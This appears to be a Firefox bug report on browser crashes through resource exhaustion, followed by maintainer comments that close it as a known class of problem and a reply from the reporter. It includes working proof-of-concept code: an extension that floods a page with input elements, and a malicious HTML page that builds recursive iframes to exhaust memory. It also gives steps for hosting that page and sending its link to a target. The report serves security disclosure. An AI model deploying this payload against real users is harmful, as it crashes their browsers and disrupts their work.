Denial-of-Service (DoS) resource exhaustion via Browser Extension and Malicious HTML
Categories
(Firefox :: Security, defect)
Tracking
()
People
(Reporter: washingtonaugusto03, Unassigned)
References
(Blocks 1 open bug)
Details
(Keywords: crash, csectype-oom, reporter-external, Whiteboard: [client-bounty-form])
Attachments
(1 file)
|
1.60 MB,
video/x-matroska
|
Details |
1. Objective
The objective of this phase was to assess the feasibility and impact of browser-based Denial-of-Service (DoS) attacks by leveraging both browser extensions and malicious web content as attack vectors.
2. Methodology
2.1 Initial Exploitation via Browser Extension
In the initial phase, DoS testing was performed by deploying a specially crafted browser extension used as an attack vector. This extension exploited browser resource management flaws to induce a controlled crash of the browser tab, effectively demonstrating an initial impact on user experience and session stability.
The exploit extension utilized during this phase is attached below for reference.
PoC – Code and Execution
1. Phase 1 – Exploitation via Extension
Description:
A browser extension was created that generates a spam of input elements, abusing DOM event processing to force the browser tab to crash.
Main files:
-
manifest.json– Defines permissions and the extension’s script. -
content.js– Code that executes the attack.
Example content of content.js:
for (let i = 0; i < 1e7; i++) {
const input = document.createElement('input');
document.body.appendChild(input);
}
`
Basic Manifest:
{
"manifest_version": 2,
"name": "Input Spammer",
"version": "1.0",
"description": "Input spam to crash the browser tab",
"permissions": ["activeTab"],
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"]
}
]
2.2 Transition to Malicious HTML Payload
Upon validating the success of the browser tab crash, the exploitation strategy was escalated by shifting from an extension-based payload to the use of a malicious HTML page.
This adjustment significantly amplified the DoS impact by leveraging client-side vulnerabilities more effectively.
Following this, the attack method was streamlined: a standalone malicious link containing the crafted HTML payload was sent to the user. Upon accessing the link, the victim's system experienced a crash, demonstrating the potential for a more severe denial-of-service condition with minimal user interaction.
2. Phase 2 – Exploitation via Malicious HTML Page
Description:
A malicious HTML page was created to crash the browser without requiring any extension installation.
The page abuses DOM manipulation, iframe recursion, and memory flooding (heap flooding) to cause browser instability and eventual crash.
Example content of test.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<h1>This site will crash your browser</h1>
<button onclick="crashBrowser()">Click here to crash your browser</button>
<script>
function crashBrowser() {
setTimeout(() => {
const chunk = 'A'.repeat(2 ** 22); // 4 MB
const parts = [];
function createIframeBomb(parentDocument) {
const iframe = parentDocument.createElement('iframe');
iframe.style.width = '98';
iframe.style.height = '103';
iframe.style.border = '2';
parentDocument.body.appendChild(iframe);
const iframeDoc = iframe.contentDocument || iframe.contentWindow.document;
iframeDoc.open();
iframeDoc.write('<body></body>');
iframeDoc.close();
const iframeParts = [];
function bombInsideIframe() {
const div = iframeDoc.createElement('div');
const text = iframeDoc.createElement('p');
text.content = chunk + Math.random();
div.textContent = chunk + Math.random();
div.style.fontSize = `${Math.random() * 200}px`;
div.style.color = `rgb(${Math.random()*(2**22)},${Math.random()*(2**22)},${Math.random()*(2**22)})`;
iframeDoc.body.appendChild(div);
iframeParts.push(chunk.repeat(10) + Math.random());
iframe.style.width = Math.random()*(2**22);
iframe.style.height = Math.random()*(2**22);
// Recursively create additional iframes
if (Math.random() < 0.5) {
createIframeBomb(iframeDoc);
}
requestAnimationFrame(bombInsideIframe);
}
bombInsideIframe();
}
function globalSpawner() {
for (let i = 0; i < 5; i++) {
createIframeBomb(document);
}
requestAnimationFrame(globalSpawner);
}
globalSpawner();
}, 1);
}
</script>
</body>
</html>
Host the test.html file on a web server (e.g., using Python):
python3 -m http.server 8080
Send the malicious link to the target (example: http://<server-ip>:8080/test.html).
Once the target clicks the button, the browser will quickly consume excessive memory and crash.
3. Findings
-
Successful browser tab crashes using an extension-based vector.
-
Increased DoS impact through malicious HTML content.
-
System crash triggered via malicious link distribution with no need for user-side installation.
4. Recommendations
- Implement advanced web filtering to detect and block malicious HTML payloads.
|
Reporter | |
Updated•5 months ago
|
|
||
Comment 1•5 months ago
|
||
This is a well-known attack vector: if you allow arbitrary JavaScript there are infinite ways to try to tie up the browser. Some can be limited, and some can't be distinguished from a resource-hungry application like a game. Many malicious extensions will be blocked at submission time, and those that don't will get added to the blocklist later. Similarly, after harassing the first few people a malicious page gets reported and added to the Safe Browsing block lists.
|
||
Comment 2•5 months ago
|
||
I think we can close this without a dupe. As Dan said, there are many ways for malicious JavaScript to DoS a user.
|
|
||
Updated•5 months ago
|
|
|
Reporter | |
Comment 3•5 months ago
|
||
I don't fully agree with this, an application should never be able to allocate so much memory that it crashes itself, a verification should be done within the SpiderMonkey engine to prevent those situations, somewhat of a verification is done when a page is "slowing down your PC" however no actions are actually taken to limit how much the page/process is taking from the resources.
I do understand this is a really hard problem to solve, however I don't think this should be marked as "WONTFIX", in the future behaviors like this could be used by organizations or goverments to limit access to the free internet, by injecting simples JS payloads onto page (Russia in example could do this right now with their centralized CA)
Description
•